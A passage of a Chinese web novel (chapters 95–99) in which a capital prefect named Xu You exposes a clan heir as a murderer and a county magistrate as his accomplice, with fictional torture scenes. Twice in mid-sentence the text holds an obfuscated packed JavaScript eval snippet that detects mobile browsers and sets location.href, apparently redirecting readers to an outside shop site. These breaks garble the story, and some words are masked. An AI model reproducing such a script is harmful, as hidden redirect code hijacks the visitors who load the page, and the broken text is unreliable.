陆老汉嘶哑着声音冲出,刚冲出去没几步,就被几名差役给按住。 许攸没去管他,而是抬头看向曹爽。 “本老爷是京兆府府尹,既然你不查,那本老爷就劳累下,亲自动手!” “来人,将曹大人给本老爷请下来!” 这话无疑是当面打曹爽的脸。 在公堂上被人拖下,他曹爽以后还怎么在兰阳县立足? “放肆!本官乃朝廷命官,当朝六品!” “即便本官有罪,那也是刑部处置,还轮不到你京兆府插手!” 这就是京兆府最尴尬的地方,凡是涉及到命案,不是官员和达官贵族王侯的,都归大理石负责,涉及到的则是刑部负责。 京兆府就一摆设,整个京兆府内所有命案,都无权过问,只能写写文书做个记录。 许攸可不怕,事情闹得越大越好,他要的就是这效果。 身为兰阳县县令,堂堂六品大员,什么时候被人如此羞辱? 曹爽气得浑身颤抖,肥胖的脸上,那肥膘都快抖出了残影。 “好!好一个京兆府尹!” “本官今日倒要看看,你如何拿下本官!” 没刑部令谕,就算许攸是京兆府府尹,那也没办法奈何下面的县令。 许攸眯起眼,他自然有办法,可他不想用。 “张虎去把他拿下,要是敢反抗,就以袭击本官为名,就地处置。” “是,大人!” 张虎狞笑一声,身影化作残影,猛地朝着公堂上曹爽袭去。 曹爽也没想到,许攸说动手就动手,根本没半点回旋的机会。 人影冲到面前,他这才反应过来。 “放……住手!” 曹爽脸色铁青,满是肥肉的脸,此刻扭曲变形,一张脸活似恶鬼。 那绿豆大小的眼睛瞪圆,死死盯着许攸。 “许大人请,你若是查不出,本官必定要参你一本!” “随你便,你开心就好!” 许攸慢吞吞往公堂上走,就在和曹爽擦肩之时,他再次身后,拦住了对方。 “曹大人,你是不是忘记一件事了?” 曹爽现在被吓得很敏感,见许攸伸手,下意识就缩头。 “你要作何!” 许攸都意外,自己有那么吓人么,居然吓得曹爽都要把脑袋缩肚子里去了。 他指向公堂下的棺椁,人证物证都在,但缺少卷宗和卢家的公子,可没办法审案。 “把涉案人都给本老爷传唤来!” 闻言,曹爽露出了个怪异笑容。 他盯着许攸看了足足十秒,这才意味深长的道。 “许大人,曹某劝你还是三思!” “此案刑部和大理寺都定了罪,都是女鬼索命,你为何要查?如何去查?” “有那时间,倒不如考虑考虑,管好你这一亩三分地!” 言外之意,以许攸这京兆府尹的身份,可斗不过那些背后之人。 许攸也不反驳,依旧笑脸相迎。 “那么说,你不愿意帮本老爷请人了?” “愿意,为何不愿意?” 曹爽也笑了,他倒要看看,许攸今天是如何断案。 说话间,他冲着差役吩咐。 “去把红楼的容嬷嬷和当日报案的几人全带来,云麓书院祭酒和教习,也给请来!” “许大人,这下你可满意了?” 曹爽吩咐的这些人,没一个是关键,全都是给凶手提供不在场证明或者为凶手洗白的存在。 对他的小伎俩,许攸也不拆穿。 过了半个时辰,十几人被全部拉倒公堂上,公堂内外也站满了为官的百姓。 见到气氛烘托的差不多,许攸打了个响指。 “王豹,孙狮你们挑选五十好手,去把长安城卢家上下,全部请来!” “无论是八十老母,还是襁褓婴儿,只要是卢家之人,全部给本老爷请到此处!” “若是放跑一个,你等提头来见本老爷!” 许攸声音不大,但清晰的回荡在公堂内外。 曹爽闻言,惊得浑身冷汗四起,更是从椅子上站了起来。 “许攸你要作何!” “卢氏乃商贾贵胄,和此案无关,你滥用职权,以权谋私,想要忤逆不成!” 许攸用看傻子的眼神,盯着曹爽看了几秒,又幽幽张开嘴,露出森白牙齿。 他的声音很冷,冷到没有半点感情。 “告诉卢家上下,本老爷耐心有限,半个时辰内不到,满门皆斩!” 轰隆隆! 此话如同晴天霹雳,狠狠劈在所有人身上。 曹爽正要说不可能,却听到府衙外,响起齐刷刷的脚步声。 他抬头看去,脸上写满了惊愕和震惊。 五十身穿黑甲的士卒,正如同鬼魅般出现在府衙外,躬身对着许攸行礼。 堂外的百姓,更是被吓得合不拢嘴。 随着黑甲士卒消失,百姓们从开始的惊慌中回神,脸上第一次浮现出畅快。 “箫成你愣着干什么?” “难道要本老爷教你做事?” 箫成身子僵硬,此前他以为自己捅破了天,现在根本不是如此。 眼前这个京兆府尹,才是真正的狂人,是个不折不扣的疯子! “半个时辰,卢氏不来,本老爷会血洗卢氏!” 第九十五章 公堂上对峙 血洗长安卢氏? 曹爽嗤笑一声,他已经把眼前的许攸,当做是个死人。 哪怕是天子,也没本事说血洗长安卢氏。 卢氏本家在丹阳,长安城内不过是他们大房和二房嫡系所在,这些嫡系许多都是在朝堂为官。 饶是许攸是五品京兆府府尹,面对那些大人物,也得低头。 时间一分一秒过去,半个时辰很快便到了。 许攸伸了个懒腰,看向身边脸色煞白的箫成。 “箫成现在什么时间了?” “回大人的话,刚未时三刻。” 未时三刻,距离许攸下达命令,早已过了半个时辰。 箫成喉结滚动了下,打算再劝说一次许攸,让他不要如此冲动,可不等他话说出口,就听到一阵婴儿啼哭,以及咒骂声传来。 “那厮你快放开我孙儿!” “若是我孙儿有什么差池,老夫要灭你全族!” 人群朝着声音看去,在人群前方,两名身材魁梧的大汉,一人手里提着个婴儿,神色冷漠,如同煞神降世。 在他们身后,上百人被长刀指着,一路跌跌撞撞往县衙走来。 这些人都身穿锦衣,哪怕是丫鬟家丁,也都是如此。 有人认出了他们的身份,忍不住惊讶大叫。 “卢氏!那是卢氏的老爷,卢本昌!” “那是卢家的三公子卢星!” “我的老天爷,卢氏好像全来了!” 不仅是百姓们惊讶,箫成和曹爽更是瞪大眼,两人脸上被恐惧覆盖。 曹爽更是忙不跌从座椅上爬起,朝着卢家众人小跑。 “卢老爷,您怎么亲自来了?” “下官招待不周,还请卢老爷见谅,请后衙一叙。” 曹爽也不敢问为什么卢家众人会来兰阳县,心惊胆战的指向后院,打算先稳住众人。 为首的卢氏三公子闻言,抬起手中折扇,就往曹爽脑袋上抽。 “曹爽你好大的狗胆,居然敢让人,来我卢府抓人,我看你不想活了!” 曹爽被一扇子抽在脸上,肥胖的脸颊瞬间出现一道红印,整个人立在原地,满脑子都是问号。 抓人的根本不是他,他是被冤枉的! 他正要解释不是他安排的人,就见卢星手里折扇“唰”打开,扇面上写着四个大字。 “风流倜傥!” 许攸一直觉得自己挺无耻的,为了功德,威逼利诱,什么手段都用,但现在他觉得自己好像一只小白羊。 是什么样的人,才能把“风流倜傥”挂在嘴边,还如此招摇。 不等他先开口,有人先出言了。 “许攸,你个黄口小儿,居然敢折辱我!” “今日你不给我个说法,本官定要前往议政殿,以死谏言,恳请陛下斩了你这混账!” 声音沙哑急促,充斥着无尽的怒意。 许攸假装没听懂,打了个哈切,一脸疑惑的看向箫成。 “萧文书,这是何人?” “本老爷查案,怎么什么阿猫阿狗都敢咆哮公堂,先拉下去重打二十!” 箫成两腿一哆嗦,险些没跪下。 “大人!不可!” “这位是京兆府的主簿,卢主簿!” 卢明得知自家被拘,又气又怒下,被活生生气的昏死过去,刚刚才苏醒过来。 此刻他是带着怒火而来,要让许攸这个黄口小儿知道,京兆府可不是府尹能说了算! 听到箫成介绍自己身份,卢明仰起头,露出得意神态。 “罗里吧嗦,再加十仗!” “愣着干什么?谁若是不动手,那就是违背本老爷的意思,至于后果么……” 许攸目光阴沉,所过之处差役们吓得脸色巨变,一个个恨不得有四条腿,连滚带爬冲到卢明身边。 卢明脸上的得意僵住,身体被四个差役按在老虎凳上,心里也不由的慌了。 “许攸你敢打……啊!” 他话都没说完,就见到身边差役玩了命似的,将手中杀威棒扬起。 啪啪!啪啪! 杀威棒次次到肉,每一下都打的卢明哭爹喊娘,起初他还能骂两句,五棍子下去,不但脸色煞白,连喊叫声也彻底消失。 “大人,打……打完了。” “拉一边去候着,本老爷继续审案,现在还有大声喧哗的没有?” 所有人惊愕目光中,卢明这位京兆府的主簿,被当死狗一样,丢在公堂角落。 卢氏内叫嚣声音消失,百姓们的议论也消失,有的只有吸气和吞咽声音。 所有人都被许攸的冷酷和铁血给吓到,没有一个敢继续放肆。 “卢氏三公子何在?” 卢星浑身一颤,又强打起精神,露出狰狞的面容。 “许攸你莫要猖狂,我叔父乃当朝三品,御史台御史大夫!” “你不过是个五品京兆府尹,你若是动我,最好掂量掂量自己的身份。” 御史台御史大夫,那绝对是位高权重的存在。 哪怕是官员,也不愿意得罪御史台的人。 可偏偏许攸却露出冷笑,在所有人惊讶目光中,抄起惊堂木,狠狠拍在桌上。 “聒噪!” “本老爷管你叔父是谁,只要你卢氏的人,今日本老爷查定了!” “来人,去将这位御史大夫,也给本老爷给请来!” 卢星瞬间涨成猪肝脸,嘴巴微微开合,愣是说不出一个字。 卢家势力极其庞大,商行遍布大唐,掌控了整个大唐乃至周边的布匹生意。 作为卢家嫡系,卢星天生高人一等,如今却被许攸的狂妄和傲慢给吓住。 许攸就似乎没看到台下愤怒的目光,也没看到箫成给自己疯狂打眼色,手中惊堂木一拍,再次出声质问。 “本老爷问你,此物你是否认识?” 一枚扳指以及带血的布条,出现在公堂至上。 在见到卢星的瞬间,许攸就断定凶手是他,没有其他缘由,就因为这扳指一模一样,连花饰都没区别。 扳指只有贵族才有资格佩戴,花饰越繁杂,身份地位越高,而玉质则代表了家族的实力。 看到扳指出现,卢星感觉自己被一条猛虎给盯上,额头冷汗唰的冒了出来,那张脸也变成了惨白。 “认什么罪?” “本少乃卢氏三公子,你居然敢盗窃本少玉扳指,你该当何罪?” 卢星强忍心中恐惧,故意装作什么都不知道,反倒打一耙,污蔑许攸盗了他的扳指。 第九十六章 女鬼索命是谎言 “许大人!” “此案已经结案,乃是女鬼索命,你这话是什么意思?” “人证物证俱在,大理寺和刑部都以下了定论,莫不是许大人要故意污人清白,颠倒黑白不成?” 见许攸吃瘪,刚还在发愣的曹爽,也找到了机会。 曹爽这番话,不但是在讥讽许攸,还在暗中提醒卢星。 此案已经定性,哪怕皇帝来了,也没任何办法翻案,只要卢星咬死不承认,那就没任何的证据。 许攸闻言,脸上没半点慌张,反而露出了玩味的表情。 “本老爷要的是证据吗?” 这话说的众人都是一愣,审案难道不要证据的吗? 见众人满脸疑惑和茫然,许攸双手抱着脑袋,两条腿毫无形象的翘在桌边,整个人就这么毫无形象的依靠在椅子上。 “本老爷可不是要证据,不过你说的人证物证,那倒是很稀奇。” “女鬼索命,哪来的人证,是看到了鬼,还是看见到了被索命的过程,又如何看到的?” 说完这句,许攸右手抽出,朝着堂下挥动。 “杜老汉,你儿子参加了几次科举,平日往来都是些什么人?” 杜老汉闻声跪到地上,一五一十把陆邬的生平全部说出。 陆邬和吕程,以及第一名死者丁毅三人,都是同窗好友,三人性格内敛,嫉恶如仇。 三人都是普通出身,和卢星这高贵的三公子,压根凑不到一起。 “陆邬这孩子平时就是个闷油瓶,不喜好言语,不过经常帮我们写状纸,前些日子还帮我们找回了一头耕牛。” “是啊,吕程那孩子也是,就喜好为我们打抱不平,可惜一次没中。” 周遭百姓也跟着开口,他们许多人受过陆邬和吕程的恩惠,这时候也不打算隐藏,将两人性格和生平全部说出。 许攸眯起眼,左手玩味的在下巴上摩挲。 “案发前几日,丁毅曾接到一份委托,是红楼花魁玉兰送出,希望丁毅能够帮她伸冤。” “玉兰虽然是花魁,但出手阔绰,丁毅接下此事,并且帮她找回了丢失的银簪,为此玉兰特意邀请三人前往红楼喝酒。” “萧文书,此事本老爷可有说错?” 箫成瞪大眼,这案子也在卷宗中记录,不过是寥寥几笔,谁也没当回事。 如今被许攸提起,反而透露出不寻常。 红楼的花魁,身价不下千两白银,虽说每个人都是身不由己,但钱财肯定不缺少。 一个花魁怎么会因为银簪,去请几人喝酒? “丁毅的家人何在?” 人群中走出一个跛脚老汉,闻声跪倒了地上。 此人衣裳破碎,浑身上下只有一条粗布麻衣遮蔽,左臂空荡荡的,袖口随风而动。 “老爷,小儿冤啊!” “小儿曾和那玉兰邻里,只因她家实在过不去,这才被卖到了红楼。” “为了接济小儿,玉兰时常找些借口,给小儿送些钱财,此事街坊都知道。” 随着老汉话音落下,围观百姓不少人点头附和。 曹爽看着周围激动的百姓,嘴唇动了动,内心已经惊恐到了极点。 他不明白,为什么有人只看卷宗,居然能看出破绽。 卷宗在他手中,都已经过去数日,每个字都是他细细斟酌,没有丝毫纰漏。 但现在却有了大麻烦,曹爽无法解释玉兰和丁毅的关系。 “不错!本公子知道这件事,那又能如何?” 度过初始的紧张后,卢星展现出身为卢氏三公子的气场。 只见到他挺着胸膛,大步来到许攸面前,一副耀武扬威的姿态。 “我花了钱,就要享受,这贱人居然敢无视我,所以她被打了!” “但你说的那丁毅,和我又有何关系?他又不是我杀的,不过是失足落水。” “真要是断,那也是周围人不救,我当时喝了几杯,想救也无法动弹,故此只能看着他被女鬼缠住。” 卢星的话语,让公堂上再次陷入死寂。 周遭百姓都感觉到这话不对,可又挑不出刺。 身为卢家三公子,卢星去花船喝花酒,点了花魁,发现被三个穷酸书生霸占,自然心生不爽。 在看到丁毅落水,没人救是事实,卢星也没义务去救人,他可是卢家的嫡系,命比个穷酸书生更重要。 议论声再次响起,不少人抬头看向许攸,期待从他脸上看到不同的表情。 可惜他们想多了,许攸的脸上依旧笑容满面,卢星的证词对他而言,并没有任何作用。 “那么你如何解释,身为卢家三公子,居然在云麓书院的考核名单内?” 哗啦啦! 公堂外百姓先是一愣,随后彻底陷入愤怒。 卢星额头上,也冒出了细密汗珠。他有一种不祥的预感,就仿佛有人捏住了他的心脏。 “我仰慕云麓书院祭酒才华,所以才参加了考核,有什么错?” 许攸笑了,笑容里充满冰冷的讥诮。 “确实没错,但是天子创立云麓书院时,定下了一条铁律!” “凡是世家贵族及商贾子弟,不得参加云麓书院考核!” “当日你和陆邬等人一同参加考核,却迟到半个时辰。” “对了,那日云麓书院发生走火,是否属实?” 卢星的脸色微变,双腿也在打颤,若是没有长袍遮掩,他现在就要跪下。 眼前这位京兆府府尹,似乎能知晓天机,洞察一切。 “许大人,陆邬死当日,确实发生了走火。卢公子虽迟到,但已经和祭酒严明,本官也知晓此事,当日延迟半个时辰。” “后半夜存放卷宗的房间走火,不得已第二日再次开考。翌日考试之时,因大雨将卷宗打湿,不得已再次推迟半个时辰,而那吕程也是考完才被人发现,死在了卧室!” 曹爽暗暗给卢星打了个眼色,当日监考的是他,现在只要糊弄过去,咬死不知道,那么一切还是回归原点。 陆邬死在第一天,死在水缸中,吕爽 死在第二天,死在卧室,卢星都有完美不在场证明! 有了这些证据,曹爽冷笑连连,他已经做好准备,准备看许攸吃瘪。 “是么?” “那你给本老爷解释下,为何第二日考试的试卷中,只有吕程的是干的?” 许攸笑眯眯的扬起手,将一份试卷从桌案上丢下。 第九十七章 真正的凶手 公堂上陷入一片死寂,众人清晰看到,吕程的试卷毫无褶皱,上面字迹公证,并无半点修改字样。 许攸悠哉走下高堂,手里还提着一沓皱巴巴的试卷,那些试卷每一张都发生了不同程度褶皱。 “曹大人,你可别说,吕程有仙家道法,所以试卷干的。” “实际上他根本不是在考试时候死的,而是考试之前就已经死了!” “至于为何,还需要本官明说吗?” 许攸的眼底充斥戏谑,一双眸子之中闪烁其幽光。 “来人,把当日值守的小厮牛二带上来。” 随着他一声令下,一名身材矮小的小厮,被驾到公堂上。 看到此人,曹爽和卢星的脸色同时大变。 “大人,小人什么都不知道!” 牛二跪伏在地,脑袋不停撞击地面,身体更是不停颤抖。 “大人,那日小人打了个瞌睡,就看到一道白影闪过,然后院子就着火了!” “还请大人明鉴!” 又是闹鬼! 不少人听到牛二的话,下意识向后倒退一步。 就在这时候,他们却听到了一道阴恻恻的声音,在公堂上响起。 “本老爷就喜欢不说实话的,周龙上刑!” 咔嚓! 周龙抄起一旁的老虎凳,在众人惊惧目光中,直接放到牛二身前。 伴随他蒲扇般大手转动,牛二被困在老虎凳上。 紧随其后,一根筷子长短银针,出现在周龙的手心。 银针抵住牛二食指顶端,尖锐的针尖,刺破皮肤,缓缓朝着他手指内钻。 “啊!!” 牛二面上肌肉全部扭曲在一起,一双眼瞬间变成血红,两只手死命向后拽,却根本动弹不得分毫。 银针刺入半寸,许攸再次开口问道。 “你还有一次机会,若是不说实话,这十根手指刺完,还有脚趾!” “等下可不是银针,而是竹篾!” 恶鬼! 如此残酷的刑罚,让在场众人都打了个寒噤。 哪怕是曹爽,都忍不住后退半步,满脸惊惧和害怕。 牛二更是直接被吓尿,沙哑着嗓子嘶吼。 “我说!我都说!” “不是女鬼,是吕程……吕程他前一日答完后,和陆邬核对打答案,发现试卷两人试题不同,后又发现陆邬惨死,想去把试卷偷出!” “大人饶命,小人因为害怕,不小心打翻了油灯,这才导致大火。” 嘶! 人群响起一片吸气声。 案子到这里,已经变得明了,陆邬的死绝不是女鬼索命,而吕程也并非是死在卧室,定然是早早就被幕后凶手杀了! “开棺验尸!” 许攸淡漠的一句话,再次引起人群躁动。 “不可!” 曹爽尖叫出声,喊出这句后,他才发现所有人都盯着他,尤其是许攸那期待和戏谑的目光,似乎早就等着他。 见此局面,曹爽不得不硬着头皮解释。 “吕程已经死了,此乃公堂,岂能被他的尸身给辱没,绝不可开棺!” “许大人,本官知道你查案心切,但是此案和卢公子无关,你把卢氏满门都挟持而来,可知道此是何等大罪?” 许攸撇撇嘴,他发现这些贪官,都有个共同点,那就是脑子不大。 真正精明的贪官,是和珅那种,拿三分钱,办十二分事,自己还贪七分,还能给周围人好处。 相反曹爽这种,处处都是漏洞,许攸都懒得吐槽。 “这里现在是本老爷管事,你若是再阻止,那你也是凶手!” “吕氏,本老爷问你,现在我要开棺验尸,你可愿意?” 棺材已经开了一次,第一次吕氏没阻止,第二次更加不可能阻止。 吕氏跪倒地上,脑袋嘭嘭砸地。 “大老爷,老妇只求还小儿个清白。” “好说,你先起来,待本老爷给你们捋清真相!” 不用许攸吩咐,张虎快步上前,将棺材盖打开。 这次为了让众人都看清楚,吕程的尸身也被抬出。 恶臭味在公堂上弥漫,许攸没丝毫顾忌,蹲到棺材盖旁,伸手把吕程的上衣掀开。 “各位可看到了,吕程胸部是被巨力砸出的致命伤,并非外界传言,被女鬼索命!” “你等再看他的脖颈位置,还有一道细细红线,这是被人用细线缠绕窒息所形成!” 说话间,许攸将吕程的嘴掰开,从中取出一小块混着发丝的皮肉。 而后他又掀开吕程左手,那只手犹如黑炭,已经被烧焦变形。 “牛二在撒谎,火不是他打翻油灯所致,而是吕程和凶手缠斗间,不小心打翻了油灯,才导致的大火。” “大火烧到他的手臂,他口中的皮肉,则是凶手所留。” “曹大人,你现在告诉本老爷,这女鬼伤人,还能化作人身,和人如此缠斗吗?” 许攸倏地起身,一步步走向高堂。 他的脚步不重,每一步却重重踩在曹爽和卢星的心头。 所有的证据,都在表面,吕程三人并非是被女鬼所杀,而是有人故意要杀他们灭口。 “你要证据,本老爷给你证据!” “来人,传……玉兰!” 轰隆! 曹爽的身体一晃,面如金纸,哆嗦着伸出手。 他知道自己现在已经没有退路,唯一的生路,就是咬死不松口。 女鬼索命已经成了笑话,他必须找个凶手来了结此事! “许大人,按照你这么说,牛二才是杀吕程的凶手!” “你凭什么认定,就是卢公子所为!” “诬陷朝廷命官,胁迫卢氏,你该当何罪!” 粗重呼吸夹杂咆哮,为曹爽找回了点底气。 “今日你若是不能拿出铁证,本官定要上书,让你死无葬身之地!” 许攸嘴角勾起,他等得就是这句话。 “你没机会了!” “来人,把卢氏三公子卢星拿下!” 此话一出,周龙和张虎两人猛地扑出。 让众人意外的是,弱不经风的卢星,在两人联手下,居然抵挡住了。 “谁敢!” “我卢氏乃忠良之后,本本分分做买卖,我孙儿更是天纵之才,岂容你这黄口小儿随便污蔑!” “管家何在,速速去请卢象!” 公堂上陷入诡异僵持,许攸看着眼前荒唐一幕,脸上笑容越来越浓烈。 连御史大夫都到场,今天这出大戏,想来一定会惊动那坏女人。 只是不知道,那女人知道这件事,会不会把下巴惊掉! 念此,他缓缓从兜中,掏出一物,猛地丢在地上。 第九十八章 真相彻底大白 “哎呀,本老爷的令牌掉地上了,谁给本老爷捡一下?” 许攸翘着二郎腿,玩味的看向台下众人。 众人都是下意识顺着他手指方向看去,然后就彻底呆住。 曹爽那张老脸上的表情无比精彩,面皮抽动,身体不自觉就往下跪。 “刚才谁说要把御史大夫请来?” “把本老爷给吓到了,记得陪本老爷的精神损失费。” 什么是嚣张,什么是狂妄,许攸将这些表现得淋漓尽致。 “怎么不说话了?” “御史大夫是吧,本老爷第一次见这么大的官,不如你们喊过来,让我见见?” 如今的局面,哪怕卢星不承认,也没办法反驳。 许攸起身,双眼目光灼灼,视线落到卢星的身上。 “既然你们喊不来人,那就不要多言!” “卢星,你可认罪?” “你可否告诉本老爷,陆邬口中的扳指,到底是从何而来!” “这扳指和你手中的,可是一模一样,你千万别说,这是母子扳指!” 随着许攸话语落下,人群目光朝着卢星看去。 在卢星的左手中指上,有一枚玉扳指,那扳指通体碧绿,和许攸手里那枚带着血的款型一模一样,连纹路都丝毫不差,只有眼色有稍许的差异。 铁证确凿! “曹大人,你说是女鬼索命,那么你可否告诉本老爷,这伤口到底是人为,还是鬼索命?” “你这兰阳县,莫不成所有人,都是瞎子不成?” “还是说,你是故意隐瞒罪行,目的就是让凶手逍遥法外?” 许攸不但针对卢星,还在针对曹爽。 曹爽身体颤栗,脸色犹如金纸,嘴巴微微颤抖,半天说不出一句话。 “你这狗官,身为兰阳县县令,不为百姓考虑,却勾结世家豪族,你究竟意欲何为?” “云澜书院乃天子建立,目的是为了天下读书人,你这兰阳县县令当得好啊!” 被连番讥讽,曹爽的身体抖动不停,犹如个筛子般。 “你!你胡说!” “你在血口喷人,我没有!” 曹爽不得不怕,勾结世家贵族,是官场的大忌,如今他已经被许攸逼迫到了悬崖边。 他知道自己是纸包不住火,再也压不住这件事! “你口说无凭,污蔑卢家三公子,还敢污蔑本官,许攸你好大的狗胆!” 暴怒之下的曹爽,恶向胆边生,干脆将声调拔高,朝着许攸大吼。 “此乃我兰阳县县衙,你无权处置!” “是么?” 许攸打了个响指,身影在公堂上幽幽挺直。 “本老爷倒要看看,今日是否有权处置!” “黑甲何在?” 话音落下,公堂外齐刷刷响起脚步声。 咚!咚!咚! 脚步沉重,声浪整齐,犹如一道道惊雷,砸在众人心头。 众人回头看去,只见到先前的那黑甲军士再次出现,每个人身穿制式甲胄,神色冷冽,手中横刀出鞘,刀锋折射出冰冷阳光。 这些黑甲军士身上的的煞气,和公堂上的死寂照相辉映,让所有人都下意识噤声。 “黑甲见过大人。” 这是什么人? 曹爽眼前发晕,这黑甲军士身上的气势,比墨麟军更加恐怖,尤其是那身上的煞气,绝对是从**堆中走出。 为首的黑甲统领躬身,双手抱拳,左手中的长刀刀尖向下,一直未曾松开。 许攸眯起眼,这些都是女帝从他手里扣走的城卫军,虽然只有三千人,但足够他在长安城横着走。 为首的统领名叫叶林,在城卫军中武力都能排到前十。 他早就知道兰阳县的县令会勾结卢家,之所以拖延这么长时间,就是为了让叶林可以带人收集起所有的证据。 曹爽晃荡了下身体,他终于明白过来,自己从开始就进入到了个圈套中。 眼前的许攸压根不是冲着他,而是冲着卢家,从始至终,许攸就要把事情闹大。 “曹大人,你现在还有什么话可说?” 曹爽低下头,面对许攸的逼迫,他无话可说。 “拿下!” 许攸淡淡一挥手,林叶带着人冲入公堂,手中长刀横在曹爽和卢星的脖子上。 卢星见状,忍不住惊恐大叫。 “你们放开!” “爹,快去找二叔,我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954583|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想死,他们会杀了我!” 到了这时候,卢星也觉察到,许攸压根不是开玩笑,是真敢**。 “爹,救我!你快去找二叔,救我啊!” 声音越来越小,卢星嘴被堵上,整个人被捆住,犹如条死狗,被丢到了地上。 许攸目光流转,将视线落到了卢星身上。 “你不用考虑有人能救你,曹爽他自身难保,至于你二叔,你看看他敢不敢来!” “现在你认罪,本老爷可以从轻处置,若是本官查明,你是死罪难逃!” 声音冰冷无情,没有半点的波澜。 卢星身体狂颤,被眼前景象彻底骇到。 曾经的那个卢家大少,此刻和丧家之犬没什么区别。 卢星眼底闪烁着恐慌,只要他承认,那就必死无疑。 三条人命……准确的说,是四条! “许大人,你在说什么?” “我有功名在身,见官可以不拜,人不是我杀的,我也不知道你在说什么!” “至于那云麓书院,是教**邀请,我才如山考试,并没有其他想法!” 卢星强自嘴硬,打算将这件事死抗下去。 一旦事情引爆,到时候卢家都要被牵连,可不止他一人。 “行,你说不是你,那本老爷问你,你脖颈后面的伤口,是怎么回事?” 许攸也不着急,他在等,等事情继续发酵。 民愤还没到极点! 卢星的脸色猛变,下意识扭头,要把脖颈后面的伤口给遮住。 “是……是我前……前几日,不小心被……被炭盆给灼……灼烧到……” “难道这也有……有问题吗?” 他的话语结结巴巴,几乎是从嗓子眼逼仄出来。 许攸轻笑一声,声音中充满不屑。 “哦?自己灼烧的,那么你可否给本老爷再表演一次,怎么灼烧到后脖颈?” 说话间,许攸脚步转动,来到了卢星的身后。 “你!你要干什么!” “救命!这狗官要**,他要**!” 卢星惊恐大叫,身体更是化作蛆虫,在地上疯狂蠕动。 许攸没回答,伸手将那布条给狠狠扯下! 第九十九章 残酷真相 “啊!!” 卢星身形僵住,脖颈上被撕下一块暗红色血肉,整个人都僵在地上。 “许攸!你不得好死!” “你居然敢伤我,我要杀你全族!” 剧烈痛苦和恐惧,将卢星心神给占据,此刻的他和疯子没什么区别。 许攸对他的话语,权当没听到,丢掉手中布带后,再次伸手,一把抓住卢星的后衣领。 “诸位,你们看清楚,这可不是抓伤,也不是刀伤,而是被火烧所致!” 众人闻言,也纷纷伸长脖颈看去。 只见到卢星自从脖颈到肩下三寸位置,全都是血肉模糊,被布带给包裹,整个皮肤皱在一起,明显有被火烧的痕迹。 “请问各位,谁能烧火盆,把自己脖颈后面给烧到?” “火星溅到你们脖颈,你们会不知道疼,也不知道躲闪吗?” 许攸的声音,在公堂上回荡,显得很孤寂冰冷。 众人满脸凝重,也纷纷低头思索。 即便是被火星烫到,是个人都会闪躲,而卢星背后那么大的伤疤,可不是火星那么简单。 “咱们又不是傻子,要是火烧到了身上,肯定要躲,再不济也得找水。” “我以前烧过腿,和他这伤势差不多,这肯定是火烧的。” “这伤口好奇怪,头发没烧到,单单是脖颈和后背,难不成自己躺上去,自己主动被烧?” 议论声不断,每一句都刺入到卢星的心口。 死亡的恐惧在不断扩散,几乎将他给包裹,让他喘不过气。 “没……没有,我没有……” 他还想狡辩,否认自己的罪行。 许攸转身走向了吕程的棺椁,从棺椁将吕程那只被烧伤的手付出。 紧接着,周龙一把按住卢星,将他身上袍子撕裂。 吕程手臂内侧未曾被烧伤,而那痕迹,恰好和卢星背后伤势吻合。 随着许攸的比划,公堂内外众人,也看的清楚。 手臂被烧伤的尺寸,以及模样,和卢星背后完好的部位吻合,剩余的部位,则是他被火灼烧到的位置。 “天啊!这畜生定然是在缠斗时候,被大火烧到,才留下的痕迹!” “根本不是女鬼索命,难怪许大人要开棺,要当着我们所有人面,将尸身搬出来!” “铁证如山,这卢氏三公子,就是杀吕程的凶手!” “杀了他,杀了这个畜生!” 百姓彻底愤怒,谩骂和嘶吼声,不断交织,要将人的耳膜给撕裂。 和堂外的愤怒喧嚣不同,堂内则是陷入到冰点,气氛冷的可怕。 许攸将吕程尸放回,又拿着那扳指,仔细核对,不论是花纹还是样式,都是一模一样,连工匠留下的名讳,都是一样的。 “卢星,这扳指你不认,但是吕程那手上的伤势,你可认?” “他手指缝隙内,还有些血肉,那些可是你的?” 冰冷话语猛地落下,直击卢星的心弦。 此刻他内心防线,彻底崩溃。 铁证就在眼前,他可以继续否认,可等待他的,还有更多漏洞。 他说不出话,双目呆滞无声,面容扭曲在一起,四肢蜷缩犹如鸡爪,身体不断抽动,喉头内发出渗人的怪笑。 “嗬嗬——嗬嗬——” 恐惧和愤怒,充满了卢星的身体,他怎么都想不到,自己卢氏三公子,居然会沦为阶下囚。 那不过是几个贱民,杀了又能如何? “放肆!” 就在这时候,卢星的父亲终于抑制不住,冲出人群,冲许攸大吼。 “许攸你屈打成招,故意栽赃陷害我儿,你这是污蔑!” “你不过是个京兆府的府尹,居然如此无视法度,故意陷害我卢氏子孙,此事我不会善罢甘休,我要面圣!” 卢远志身体颤抖,那张白皙的脸,此刻变成紫红色,脸皮扭曲变形,声调更是因为愤怒,而变得沙哑。 他这番话,对许攸而言,不过是开胃小菜。 “真的?” “要不要本老爷,亲自送你去议政殿?” 这话一出,卢远志就仿佛是被试了定身咒,愣在原地硬是不敢动弹。 许攸见到他不动,也感到没意思。 他快步走到卢星面前,玩味的把玩手里扳指。 “卢星,人证物证俱在,那玉兰想必也已经**吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954584|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你若是主动承认,本老爷从轻发落,但若是你继续不承认,那就是重罪!” 这番话可不是威胁,是对卢星最后的审判。 